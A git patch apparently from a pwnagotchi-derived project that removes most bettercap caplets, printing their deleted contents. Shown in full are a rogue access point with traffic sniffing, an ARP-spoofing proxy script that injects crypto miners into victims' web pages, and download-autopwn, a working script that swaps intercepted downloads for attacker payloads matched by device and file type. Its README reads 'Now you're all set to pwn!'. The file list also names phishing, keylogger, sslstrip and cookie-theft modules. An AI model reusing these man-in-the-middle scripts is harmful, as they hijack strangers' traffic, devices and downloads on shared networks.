From e1a271fc60a39d0f63ce8fe0a6f1e8dac35bcbd8 Mon Sep 17 00:00:00 2001 From: andatoshiki Date: Tue, 27 Aug 2024 00:17:21 -0700 Subject: [PATCH] feat: add modified capleltes exlusively for shikigotchi lite version with plain bettercap & network api interface support for lite branch during build --- Makefile | 2 +- ap.cap | 24 - crypto-miner/crypto-miner.cap | 27 - crypto-miner/crypto-miner.js | 40 - download-autopwn/README.md | 185 ---- download-autopwn/android/payload.apk | Bin 1 -> 0 bytes download-autopwn/android/payload.jar | Bin 1 -> 0 bytes download-autopwn/android/payload.mkv | Bin 1 -> 0 bytes download-autopwn/android/payload.mp3 | Bin 1 -> 0 bytes download-autopwn/android/payload.mp4 | Bin 1 -> 0 bytes download-autopwn/android/payload.pdf | Bin 1 -> 0 bytes download-autopwn/android/payload.pfx | Bin 1 -> 0 bytes download-autopwn/android/payload.py | Bin 1 -> 0 bytes download-autopwn/android/payload.sh | Bin 1 -> 0 bytes download-autopwn/android/payload.tar | Bin 1 -> 0 bytes download-autopwn/android/payload.tar.gz | Bin 1 -> 0 bytes download-autopwn/android/payload.tgz | Bin 1 -> 0 bytes download-autopwn/android/payload.zip | Bin 1 -> 0 bytes download-autopwn/download-autopwn.cap | 51 - download-autopwn/download-autopwn.js | 84 -- download-autopwn/ios/payload.ios | Bin 1 -> 0 bytes download-autopwn/ios/payload.ipa | Bin 1 -> 0 bytes download-autopwn/ios/payload.ipb | Bin 1 -> 0 bytes download-autopwn/ios/payload.ipcc | Bin 1 -> 0 bytes download-autopwn/ios/payload.ipsw | Bin 1 -> 0 bytes download-autopwn/ios/payload.ipsx | Bin 1 -> 0 bytes download-autopwn/ios/payload.m4a | Bin 1 -> 0 bytes download-autopwn/ios/payload.mkv | Bin 1 -> 0 bytes download-autopwn/ios/payload.mobileconfig | Bin 1 -> 0 bytes download-autopwn/ios/payload.mp3 | Bin 1 -> 0 bytes download-autopwn/ios/payload.mp4 | Bin 1 -> 0 bytes download-autopwn/ios/payload.pdf | Bin 1 -> 0 bytes download-autopwn/ios/payload.zip | Bin 1 -> 0 bytes download-autopwn/linux/payload.c | Bin 1 -> 0 bytes download-autopwn/linux/payload.cr | Bin 1 -> 0 bytes download-autopwn/linux/payload.deb | Bin 1 -> 0 bytes download-autopwn/linux/payload.go | Bin 1 -> 0 bytes download-autopwn/linux/payload.jar | Bin 1 -> 0 bytes download-autopwn/linux/payload.mp3 | Bin 1 -> 0 bytes download-autopwn/linux/payload.mp4 | Bin 1 -> 0 bytes download-autopwn/linux/payload.pdf | Bin 1 -> 0 bytes download-autopwn/linux/payload.pl | Bin 1 -> 0 bytes download-autopwn/linux/payload.py | Bin 1 -> 0 bytes download-autopwn/linux/payload.rb | Bin 1 -> 0 bytes download-autopwn/linux/payload.sh | Bin 1 -> 0 bytes download-autopwn/linux/payload.tar | Bin 1 -> 0 bytes download-autopwn/linux/payload.tar.gz | Bin 1 -> 0 bytes download-autopwn/linux/payload.tgz | Bin 1 -> 0 bytes download-autopwn/linux/payload.zip | Bin 1 -> 0 bytes download-autopwn/macos/payload.7z | Bin 1 -> 0 bytes download-autopwn/macos/payload.ai | Bin 1 -> 0 bytes download-autopwn/macos/payload.ait | Bin 1 -> 0 bytes download-autopwn/macos/payload.app | Bin 1 -> 0 bytes download-autopwn/macos/payload.c | Bin 1 -> 0 bytes download-autopwn/macos/payload.dmg | Bin 1 -> 0 bytes download-autopwn/macos/payload.doc | Bin 1 -> 0 bytes download-autopwn/macos/payload.docx | Bin 1 -> 0 bytes download-autopwn/macos/payload.jar | Bin 1 -> 0 bytes download-autopwn/macos/payload.m4a | Bin 1 -> 0 bytes download-autopwn/macos/payload.mov | Bin 1 -> 0 bytes download-autopwn/macos/payload.mp3 | Bin 1 -> 0 bytes download-autopwn/macos/payload.mp4 | Bin 1 -> 0 bytes download-autopwn/macos/payload.pdf | Bin 1 -> 0 bytes download-autopwn/macos/payload.psd | Bin 1 -> 0 bytes download-autopwn/macos/payload.py | Bin 1 -> 0 bytes download-autopwn/macos/payload.rb | Bin 1 -> 0 bytes download-autopwn/macos/payload.sh | Bin 1 -> 0 bytes download-autopwn/macos/payload.tar | Bin 1 -> 0 bytes download-autopwn/macos/payload.tar.gz | Bin 1 -> 0 bytes download-autopwn/macos/payload.terminal | Bin 1 -> 0 bytes download-autopwn/macos/payload.tgz | Bin 1 -> 0 bytes download-autopwn/macos/payload.zip | Bin 1 -> 0 bytes download-autopwn/ps4/payload.aac | Bin 1 -> 0 bytes download-autopwn/ps4/payload.avi | Bin 1 -> 0 bytes download-autopwn/ps4/payload.disc | Bin 1 -> 0 bytes download-autopwn/ps4/payload.doc | Bin 1 -> 0 bytes download-autopwn/ps4/payload.docx | Bin 1 -> 0 bytes download-autopwn/ps4/payload.flac | Bin 1 -> 0 bytes download-autopwn/ps4/payload.m4a | Bin 1 -> 0 bytes download-autopwn/ps4/payload.mkv | Bin 1 -> 0 bytes download-autopwn/ps4/payload.mp3 | Bin 1 -> 0 bytes download-autopwn/ps4/payload.mp4 | Bin 1 -> 0 bytes download-autopwn/ps4/payload.pdf | Bin 1 -> 0 bytes download-autopwn/ps4/payload.pup | Bin 1 -> 0 bytes download-autopwn/ps4/payload.zip | Bin 1 -> 0 bytes download-autopwn/windows/payload.7z | Bin 1 -> 0 bytes download-autopwn/windows/payload.ai | Bin 1 -> 0 bytes download-autopwn/windows/payload.ait | Bin 1 -> 0 bytes download-autopwn/windows/payload.avi | Bin 1 -> 0 bytes download-autopwn/windows/payload.bat | Bin 1 -> 0 bytes download-autopwn/windows/payload.dll | Bin 1 -> 0 bytes download-autopwn/windows/payload.doc | Bin 1 -> 0 bytes download-autopwn/windows/payload.docx | Bin 1 -> 0 bytes download-autopwn/windows/payload.exe | Bin 1 -> 0 bytes download-autopwn/windows/payload.flv | Bin 1 -> 0 bytes download-autopwn/windows/payload.jar | Bin 1 -> 0 bytes download-autopwn/windows/payload.mp3 | Bin 1 -> 0 bytes download-autopwn/windows/payload.mp4 | Bin 1 -> 0 bytes download-autopwn/windows/payload.msi | Bin 1 -> 0 bytes download-autopwn/windows/payload.pdf | Bin 1 -> 0 bytes download-autopwn/windows/payload.psd | Bin 1 -> 0 bytes download-autopwn/windows/payload.rar | Bin 1 -> 0 bytes download-autopwn/windows/payload.swf | Bin 1 -> 0 bytes download-autopwn/windows/payload.wav | Bin 1 -> 0 bytes download-autopwn/windows/payload.zip | Bin 1 -> 0 bytes download-autopwn/xbox/payload.doc | Bin 1 -> 0 bytes download-autopwn/xbox/payload.docx | Bin 1 -> 0 bytes download-autopwn/xbox/payload.exe | Bin 1 -> 0 bytes download-autopwn/xbox/payload.jar | Bin 1 -> 0 bytes download-autopwn/xbox/payload.msi | Bin 1 -> 0 bytes download-autopwn/xbox/payload.pdf | Bin 1 -> 0 bytes download-autopwn/xbox/payload.zip | Bin 1 -> 0 bytes enumerate/events/README.md | 11 - enumerate/events/module.cap | 13 - enumerate/events/module.js | 36 - enumerate/hosts/README.md | 7 - enumerate/hosts/module.cap | 21 - enumerate/hosts/module.js | 108 --- fb-phish/fb-phish.cap | 7 - fb-phish/fb-phish.js | 28 - gitspoof/README.md | 58 -- gitspoof/build_repo.sh | 28 - gitspoof/gitspoof.cap | 9 - gitspoof/gitspoof.js | 29 - gitspoof/payload.txt | 9 - hstshijack/README.md | 161 ---- hstshijack/domains.txt | 0 hstshijack/hstshijack.cap | 21 - hstshijack/hstshijack.js | 1053 --------------------- hstshijack/index.json | 0 hstshijack/payloads/google-search.js | 23 - hstshijack/payloads/hijack.js | 234 ----- hstshijack/payloads/keylogger.js | 141 --- hstshijack/payloads/sslstrip.js | 72 -- http-req-dump/http-req-dump.cap | 27 - http-req-dump/http-req-dump.js | 222 ----- http-ui.cap | 15 - https-ui.cap | 21 - jsinject/README.md | 25 - jsinject/jsinject.cap | 8 - jsinject/jsinject.js | 51 - jsinject/payloads/form-phisher.js | 35 - local-sniffer.cap | 11 - login-manager-abuse/login-man-abuse.cap | 12 - login-manager-abuse/login-man-abuse.js | 51 - login-manager-abuse/login-man-abuser.js | 71 -- mana.cap | 1 - massdeauth.cap | 13 - mitm6.cap | 20 - netmon.cap | 4 - pita.cap | 32 - proxy-script-test/proxy-script-test.cap | 2 - proxy-script-test/proxy-script-test.js | 49 - pwnagotchi-auto.cap | 2 +- pwnagotchi-manual.cap | 6 +- rogue-mysql-server.cap | 21 - rtfm/rtfm.cap | 8 - rtfm/rtfm.js | 24 - simple-passwords-sniffer.cap | 10 - steal-cookies/README.md | 4 - steal-cookies/domains.txt | 10 - steal-cookies/steal-cookies.cap | 3 - steal-cookies/steal-cookies.js | 104 -- tcp-req-dump/tcp-req-dump.cap | 19 - tcp-req-dump/tcp-req-dump.js | 13 - web-override/web-override.cap | 15 - web-override/web-override.js | 13 - www/.gitignore | 1 - www/Makefile | 9 - www/index.html | 17 - www/rtfm_cat.jpg | Bin 80488 -> 0 bytes 171 files changed, 3 insertions(+), 3428 deletions(-) delete mode 100644 ap.cap delete mode 100644 crypto-miner/crypto-miner.cap delete mode 100644 crypto-miner/crypto-miner.js delete mode 100644 download-autopwn/README.md delete mode 100644 download-autopwn/android/payload.apk delete mode 100644 download-autopwn/android/payload.jar delete mode 100644 download-autopwn/android/payload.mkv delete mode 100644 download-autopwn/android/payload.mp3 delete mode 100644 download-autopwn/android/payload.mp4 delete mode 100644 download-autopwn/android/payload.pdf delete mode 100644 download-autopwn/android/payload.pfx delete mode 100644 download-autopwn/android/payload.py delete mode 100644 download-autopwn/android/payload.sh delete mode 100644 download-autopwn/android/payload.tar delete mode 100644 download-autopwn/android/payload.tar.gz delete mode 100644 download-autopwn/android/payload.tgz delete mode 100644 download-autopwn/android/payload.zip delete mode 100644 download-autopwn/download-autopwn.cap delete mode 100644 download-autopwn/download-autopwn.js delete mode 100644 download-autopwn/ios/payload.ios delete mode 100644 download-autopwn/ios/payload.ipa delete mode 100644 download-autopwn/ios/payload.ipb delete mode 100644 download-autopwn/ios/payload.ipcc delete mode 100644 download-autopwn/ios/payload.ipsw delete mode 100644 download-autopwn/ios/payload.ipsx delete mode 100644 download-autopwn/ios/payload.m4a delete mode 100644 download-autopwn/ios/payload.mkv delete mode 100644 download-autopwn/ios/payload.mobileconfig delete mode 100644 download-autopwn/ios/payload.mp3 delete mode 100644 download-autopwn/ios/payload.mp4 delete mode 100644 download-autopwn/ios/payload.pdf delete mode 100644 download-autopwn/ios/payload.zip delete mode 100644 download-autopwn/linux/payload.c delete mode 100644 download-autopwn/linux/payload.cr delete mode 100644 download-autopwn/linux/payload.deb delete mode 100644 download-autopwn/linux/payload.go delete mode 100644 download-autopwn/linux/payload.jar delete mode 100644 download-autopwn/linux/payload.mp3 delete mode 100644 download-autopwn/linux/payload.mp4 delete mode 100644 download-autopwn/linux/payload.pdf delete mode 100644 download-autopwn/linux/payload.pl delete mode 100644 download-autopwn/linux/payload.py delete mode 100644 download-autopwn/linux/payload.rb delete mode 100644 download-autopwn/linux/payload.sh delete mode 100644 download-autopwn/linux/payload.tar delete mode 100644 download-autopwn/linux/payload.tar.gz delete mode 100644 download-autopwn/linux/payload.tgz delete mode 100644 download-autopwn/linux/payload.zip delete mode 100644 download-autopwn/macos/payload.7z delete mode 100644 download-autopwn/macos/payload.ai delete mode 100644 download-autopwn/macos/payload.ait delete mode 100644 download-autopwn/macos/payload.app delete mode 100644 download-autopwn/macos/payload.c delete mode 100644 download-autopwn/macos/payload.dmg delete mode 100644 download-autopwn/macos/payload.doc delete mode 100644 download-autopwn/macos/payload.docx delete mode 100644 download-autopwn/macos/payload.jar delete mode 100644 download-autopwn/macos/payload.m4a delete mode 100644 download-autopwn/macos/payload.mov delete mode 100644 download-autopwn/macos/payload.mp3 delete mode 100644 download-autopwn/macos/payload.mp4 delete mode 100644 download-autopwn/macos/payload.pdf delete mode 100644 download-autopwn/macos/payload.psd delete mode 100644 download-autopwn/macos/payload.py delete mode 100644 download-autopwn/macos/payload.rb delete mode 100644 download-autopwn/macos/payload.sh delete mode 100644 download-autopwn/macos/payload.tar delete mode 100644 download-autopwn/macos/payload.tar.gz delete mode 100644 download-autopwn/macos/payload.terminal delete mode 100644 download-autopwn/macos/payload.tgz delete mode 100644 download-autopwn/macos/payload.zip delete mode 100644 download-autopwn/ps4/payload.aac delete mode 100644 download-autopwn/ps4/payload.avi delete mode 100644 download-autopwn/ps4/payload.disc delete mode 100644 download-autopwn/ps4/payload.doc delete mode 100644 download-autopwn/ps4/payload.docx delete mode 100644 download-autopwn/ps4/payload.flac delete mode 100644 download-autopwn/ps4/payload.m4a delete mode 100644 download-autopwn/ps4/payload.mkv delete mode 100644 download-autopwn/ps4/payload.mp3 delete mode 100644 download-autopwn/ps4/payload.mp4 delete mode 100644 download-autopwn/ps4/payload.pdf delete mode 100644 download-autopwn/ps4/payload.pup delete mode 100644 download-autopwn/ps4/payload.zip delete mode 100644 download-autopwn/windows/payload.7z delete mode 100644 download-autopwn/windows/payload.ai delete mode 100644 download-autopwn/windows/payload.ait delete mode 100644 download-autopwn/windows/payload.avi delete mode 100644 download-autopwn/windows/payload.bat delete mode 100644 download-autopwn/windows/payload.dll delete mode 100644 download-autopwn/windows/payload.doc delete mode 100644 download-autopwn/windows/payload.docx delete mode 100644 download-autopwn/windows/payload.exe delete mode 100644 download-autopwn/windows/payload.flv delete mode 100644 download-autopwn/windows/payload.jar delete mode 100644 download-autopwn/windows/payload.mp3 delete mode 100644 download-autopwn/windows/payload.mp4 delete mode 100644 download-autopwn/windows/payload.msi delete mode 100644 download-autopwn/windows/payload.pdf delete mode 100644 download-autopwn/windows/payload.psd delete mode 100644 download-autopwn/windows/payload.rar delete mode 100644 download-autopwn/windows/payload.swf delete mode 100644 download-autopwn/windows/payload.wav delete mode 100644 download-autopwn/windows/payload.zip delete mode 100644 download-autopwn/xbox/payload.doc delete mode 100644 download-autopwn/xbox/payload.docx delete mode 100644 download-autopwn/xbox/payload.exe delete mode 100644 download-autopwn/xbox/payload.jar delete mode 100644 download-autopwn/xbox/payload.msi delete mode 100644 download-autopwn/xbox/payload.pdf delete mode 100644 download-autopwn/xbox/payload.zip delete mode 100644 enumerate/events/README.md delete mode 100644 enumerate/events/module.cap delete mode 100644 enumerate/events/module.js delete mode 100644 enumerate/hosts/README.md delete mode 100644 enumerate/hosts/module.cap delete mode 100644 enumerate/hosts/module.js delete mode 100644 fb-phish/fb-phish.cap delete mode 100644 fb-phish/fb-phish.js delete mode 100644 gitspoof/README.md delete mode 100755 gitspoof/build_repo.sh delete mode 100644 gitspoof/gitspoof.cap delete mode 100644 gitspoof/gitspoof.js delete mode 100644 gitspoof/payload.txt delete mode 100644 hstshijack/README.md delete mode 100644 hstshijack/domains.txt delete mode 100644 hstshijack/hstshijack.cap delete mode 100644 hstshijack/hstshijack.js delete mode 100644 hstshijack/index.json delete mode 100644 hstshijack/payloads/google-search.js delete mode 100644 hstshijack/payloads/hijack.js delete mode 100644 hstshijack/payloads/keylogger.js delete mode 100644 hstshijack/payloads/sslstrip.js delete mode 100644 http-req-dump/http-req-dump.cap delete mode 100644 http-req-dump/http-req-dump.js delete mode 100644 http-ui.cap delete mode 100644 https-ui.cap delete mode 100644 jsinject/README.md delete mode 100644 jsinject/jsinject.cap delete mode 100644 jsinject/jsinject.js delete mode 100644 jsinject/payloads/form-phisher.js delete mode 100644 local-sniffer.cap delete mode 100644 login-manager-abuse/login-man-abuse.cap delete mode 100644 login-manager-abuse/login-man-abuse.js delete mode 100644 login-manager-abuse/login-man-abuser.js delete mode 100644 mana.cap delete mode 100644 massdeauth.cap delete mode 100644 mitm6.cap delete mode 100644 netmon.cap delete mode 100644 pita.cap delete mode 100644 proxy-script-test/proxy-script-test.cap delete mode 100644 proxy-script-test/proxy-script-test.js delete mode 100644 rogue-mysql-server.cap delete mode 100644 rtfm/rtfm.cap delete mode 100644 rtfm/rtfm.js delete mode 100644 simple-passwords-sniffer.cap delete mode 100644 steal-cookies/README.md delete mode 100644 steal-cookies/domains.txt delete mode 100644 steal-cookies/steal-cookies.cap delete mode 100644 steal-cookies/steal-cookies.js delete mode 100644 tcp-req-dump/tcp-req-dump.cap delete mode 100644 tcp-req-dump/tcp-req-dump.js delete mode 100644 web-override/web-override.cap delete mode 100644 web-override/web-override.js delete mode 100644 www/.gitignore delete mode 100644 www/Makefile delete mode 100644 www/index.html delete mode 100644 www/rtfm_cat.jpg diff --git a/Makefile b/Makefile index 1aba117..229b83b 100644 --- a/Makefile +++ b/Makefile @@ -1,4 +1,4 @@ install: @mkdir -p /usr/local/share/bettercap/caplets @cp -rf * /usr/local/share/bettercap/caplets/ - @cp *.* /usr/local/share/bettercap/caplets/ + @cp *.cap /usr/local/share/bettercap/caplets/ diff --git a/ap.cap b/ap.cap deleted file mode 100644 index 635c9a7..0000000 --- a/ap.cap +++ /dev/null @@ -1,24 +0,0 @@ -# interface to use to create the AP -set wifi.ap.interface wlx00c0ca96e4b2 -# interface for upstream connectivity, comment to disable -set wifi.ap.upstream wlp1s0 -# comment to create a free access point -set wifi.ap.passphrase 12345678 - -# enable the ap -wifi.ap on - -# wait 2 seconds then set the session interface to the AP one -sleep 2 -iface wlx00c0ca96e4b2 - -set net.sniff.local true -set net.sniff.verbose false -set net.sniff.filter not arp and not udp port 53 - -# start recon for clients -net.recon on -# sniff -net.sniff on -# run the https-ui caplet because it's cool -https-ui diff --git a/crypto-miner/crypto-miner.cap b/crypto-miner/crypto-miner.cap deleted file mode 100644 index b663a0f..0000000 --- a/crypto-miner/crypto-miner.cap +++ /dev/null @@ -1,27 +0,0 @@ -# this module lets you inject a javascript crypto miner -# -# targeting the whole subnet by default, to make it selective: -# -# sudo ./bettercap -caplet crypto-miner.cap -eval "set arp.spoof.targets 192.168.1.64" - - -# set the name of the Miner: coinhive, cryptoloot or coinimp -set cryptominer.name coinhive - -# set the key of the Miner -set cryptominer.key 123456789 - -# inject js miner -set http.proxy.script crypto-miner.js - -# uncomment if you want sslstrip enabled -#set http.proxy.sslstrip true - -# redirect http traffic to a proxy -http.proxy on - -# wait for everything to start properly -sleep 1 - -# make sure probing is off as it conflicts with arp spoofing -arp.spoof on diff --git a/crypto-miner/crypto-miner.js b/crypto-miner/crypto-miner.js deleted file mode 100644 index 1aa6321..0000000 --- a/crypto-miner/crypto-miner.js +++ /dev/null @@ -1,40 +0,0 @@ -var green = "\033[32m", - reset = "\033[0m" - -function onLoad() { - logStr = "Javascript Crypto Miner loaded.\n" + - "\n Miner: " + green + env["cryptominer.name"].charAt(0).toUpperCase() + env["cryptominer.name"].slice(1) + reset + - "\n Targets: " + green + env["arp.spoof.targets"] + reset + "\n" - log(logStr); -} - -function onResponse(req, res) { - if( res.ContentType.indexOf('text/html') == 0 ){ - var body = res.ReadBody(); - if( body.indexOf('') != -1 ) { - switch(env["cryptominer.name"]) { - case "coinhive": - res.Body = body.replace( - '', - '', - '' - ); - break; - case "cryptoloot": - res.Body = body.replace( - '', - '', - '' - ); - break; - case "coinimp": - res.Body = body.replace( - '', - '', - '' - ); - break; - } - } - } -} diff --git a/download-autopwn/README.md b/download-autopwn/README.md deleted file mode 100644 index 0948c4c..0000000 --- a/download-autopwn/README.md +++ /dev/null @@ -1,185 +0,0 @@ -

- - -### caplets/download-autopwn.cap - -Everything is configurable in the **download-autopwn.cap** file. - -```sh -# documentation can be found at https://github.com/bettercap/caplets/blob/master/download-autopwn/README.md -# -# this module lets you intercept very specific download requests and replaces the payload with one of your choice -# -# in order for a download to get intercepted: -# 1. the victim's user-agent string must match the downloadautopwn.useragent.x regexp value -# 2. the requested file must match one of the downloadautopwn.extensions.x file extensions -# -# you can find the downloadautopwn.devices in the caplets/download-autopwn/ folder (you can add your own) -# - -# choose the devices from which downloads get pwned (enter the dir names of choice from caplets/download-autopwn/) -# (or feel free to add your own) -set downloadautopwn.devices android,ios,linux,macos,ps4,windows,xbox - -# choose the regexp value that the victim's User-Agent has to match -# (feel free to add your own) -set downloadautopwn.useragent.android Android -set downloadautopwn.useragent.ios iPad|iPhone|iPod -set downloadautopwn.useragent.linux Linux -set downloadautopwn.useragent.macos Intel Mac OS X 10_ -set downloadautopwn.useragent.ps4 PlayStation 4 -set downloadautopwn.useragent.windows Windows|WOW64 -set downloadautopwn.useragent.xbox Xbox - -# choose which file extensions get intercepted and replaced by your payload on specific devices (payloads are in caplets/download-autopwn/.../) -# (again, you can add as many as you want) -# make sure the payload files exist and that they are all named "payload" (for example: payload.exe) -set downloadautopwn.extensions.android apk,pdf,sh,pfx,zip -set downloadautopwn.extensions.ios ipa,ios,ipb,ipsw,ipsx,ipcc,mobileconfig,pdf,zip -set downloadautopwn.extensions.linux c,go,sh,py,rb,cr,pl,deb,pdf,jar,zip -set downloadautopwn.extensions.macos app,dmg,doc,docx,jar,ai,ait,psd,pdf,c,go,sh,py,rb,pl,terminal,zip -set downloadautopwn.extensions.ps4 disc,pup,pdf,doc,docx,zip -set downloadautopwn.extensions.windows exe,msi,bat,jar,dll,doc,docx,swf,psd,ai,ait,pdf,rar,zip -set downloadautopwn.extensions.xbox exe,msi,jar,pdf,doc,docx,zip - -# choose whether the proxy module resizes your payload to the requested file's size (if not set then default=false) -set downloadautopwn.resizepayloads true - -# set download-autopwn.js as proxy script -set http.proxy.script caplets/download-autopwn.js -# uncomment if you want sslstrip enabled -# set http.proxy.sslstrip true -# start proxy -http.proxy on - -# wait for everything to start properly -sleep 1 - -# uncomment if you want arp spoofing (make sure probing is off as it conflicts with arp spoofing) -# arp.spoof on -``` - -
- -The `downloadautopwn.devices` variable accepts comma separated values. -
-These values are the folder names inside the **caplets/download-autopwn/** directory. - -
- -The `downloadautopwn.useragent.x` variables accept a regular expression value (where `x` is the device name). -
-The victim's User-Agent string has to match this regex value. - -
- -The `downloadautopwn.extensions.x` variables accept comma separated file extensions that are present in the device's folder (where `x` is the device name). -
-These files must be present in the device's folder, and they must be called `payload` (for example: `payload.exe`). - -
- -The `downloadautopwn.resizepayloads` variable accepts a boolean value (default=false). -
-If this value is set to true, your payloads will be resized to match the requested file's size (unless your payload is bigger or equal to the requested file's size). - -
- -### caplets/download-autopwn.js - -No changes should have to be made in the **download-autopwn.js** file. - -```javascript -var targets = {} - -var nullbyte = "\u0000" - -var green = "\033[32m", - boldRed = "\033[1;31m", - onRed = "\033[41m", - reset = "\033[0m", - redLine = "\n " + onRed + " " + reset - -function onLoad() { - devices = env("downloadautopwn.devices").split(",") - logStr = "" - for (var i = 0; i < devices.length; i++) { - item = { - "device": devices[i], - "useragent": env("downloadautopwn.useragent." + devices[i]), - "extensions": env("downloadautopwn.extensions." + devices[i]).toLowerCase().split(",") - } - targets[i] = item - logStr += "\n " + green + targets[i]["device"] + reset + - "\n User-Agent: " + targets[i]["useragent"] + - "\n Extensions: " + targets[i]["extensions"] + "\n" - } - log("Download Autopwn loaded.\n\nDownload Autopwn targets: \n" + logStr) -} - -function onResponse(req, res) { - // First of all check whether the requested path might have an extension (to save cpu) - var requestedFileName = req.Path.replace(/.*\//g, "") - if ( requestedFileName.indexOf(".") != -1 ) { - var userAgent = req.GetHeader("User-Agent", ""), - extension, - headerCount = req.Headers.length - // Iterate through targets - for ( var t = 0; t < Object.keys(targets).length; t++ ) { - // Check if User-Agent is a target - regex = new RegExp(targets[t]["useragent"]) - if ( userAgent.match(regex) ) { - // Iterate through target extensions - for (var e = 0; e < targets[t]["extensions"].length; e++) { - // Check if requested path contains a targeted extension - // function endsWith() could be a nice simplification here - if ( requestedFileName.replace(/.*\./g, "").toLowerCase() == targets[t]["extensions"][e] ) { - extension = targets[t]["extensions"][e] - // Autopwn - logStr = "\n" + redLine + " Autopwning download request from " + boldRed + req.Client.IP + reset + - redLine + - redLine + " Found " + boldRed + extension.toUpperCase() + reset + " extension in " + boldRed + req.Hostname + req.Path + reset + - redLine + - redLine + " Grabbing " + boldRed + targets[t]["device"].toUpperCase() + reset + " payload..." - // Check requested file size - requestedFile = res.ReadBody() - requestedFileSize = requestedFile.length - payload = readFile("/usr/local/share/bettercap/caplets/download-autopwn/" + targets[t]["device"] + "/payload." + extension) - payloadSize = payload.length - logStr += redLine + " The size of the requested file is " + boldRed + requestedFileSize + reset + " bytes" + - redLine + " The raw size of your payload is " + boldRed + payloadSize + reset + " bytes" + redLine - // Append nullbytes to payload if resizing is enabled and if requested file is larger than payload - if ( env("downloadautopwn.resizepayloads") == "true" && requestedFileSize > payloadSize ) { - logStr += redLine + " Resizing your payload to " + boldRed + requestedFileSize + reset + " bytes..." - sizeDifference = requestedFileSize - payloadSize - nullbyteString = Array(sizeDifference + 1).join(nullbyte) - payload += nullbyteString - } - // Set Content-Disposition header to enforce file download instead of in-browser preview - res.SetHeader("Content-Disposition", "attachment; filename=\"" + requestedFileName + "\"") - // Update Content-Length header in case our payload is larger than the requested file - res.SetHeader("Content-Length", payload.length) - logStr += redLine + " Serving your payload to " + boldRed + req.Client.IP + reset + "...\n" - log(logStr) - res.Body = payload - } - } - } - } - } -} -``` - -
- -### Now you're all set to pwn! - -#### What it looks like when you have configured a crazy amount of payloads - -![screenshot 1](https://user-images.githubusercontent.com/29265684/37411166-e3796c46-27ed-11e8-94da-8e1c226a0dd3.png) - -#### What it looks like when you pwn someone's download >:-) - -![screenshot 2](https://user-images.githubusercontent.com/29265684/37409382-f6bb143e-27e9-11e8-86c5-c1c556900556.png) - -Have fun! diff --git a/download-autopwn/android/payload.apk b/download-autopwn/android/payload.apk deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/android/payload.jar b/download-autopwn/android/payload.jar deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/android/payload.mkv b/download-autopwn/android/payload.mkv deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/android/payload.mp3 b/download-autopwn/android/payload.mp3 deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/android/payload.mp4 b/download-autopwn/android/payload.mp4 deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/android/payload.pdf b/download-autopwn/android/payload.pdf deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/android/payload.pfx b/download-autopwn/android/payload.pfx deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/android/payload.py b/download-autopwn/android/payload.py deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/android/payload.sh b/download-autopwn/android/payload.sh deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/android/payload.tar b/download-autopwn/android/payload.tar deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/android/payload.tar.gz b/download-autopwn/android/payload.tar.gz deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/android/payload.tgz b/download-autopwn/android/payload.tgz deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/android/payload.zip b/download-autopwn/android/payload.zip deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/download-autopwn.cap b/download-autopwn/download-autopwn.cap deleted file mode 100644 index 0ed8217..0000000 --- a/download-autopwn/download-autopwn.cap +++ /dev/null @@ -1,51 +0,0 @@ -# documentation can be found at https://github.com/bettercap/blob/master/download-autopwn/README.md -# -# this module lets you intercept very specific download requests and replaces the payload with one of your choice -# -# in order for a download to get intercepted: -# 1. the victim's user-agent string must match the downloadautopwn.useragent.x regexp value -# 2. the requested file must match one of the downloadautopwn.extensions.x file extensions -# -# you can find the downloadautopwn.devices in the download-autopwn/ folder (you can add your own) -# - -# choose the devices from which downloads get pwned (enter the dir names of choice from download-autopwn/) -# (or feel free to add your own) -set downloadautopwn.devices android,ios,linux,macos,ps4,windows,xbox - -# choose the regexp value that the victim's User-Agent has to match -# (feel free to add your own) -set downloadautopwn.useragent.android Android -set downloadautopwn.useragent.ios iPad|iPhone|iPod -set downloadautopwn.useragent.linux Linux -set downloadautopwn.useragent.macos Intel Mac OS X 10_ -set downloadautopwn.useragent.ps4 PlayStation 4 -set downloadautopwn.useragent.windows Windows|WOW64 -set downloadautopwn.useragent.xbox Xbox 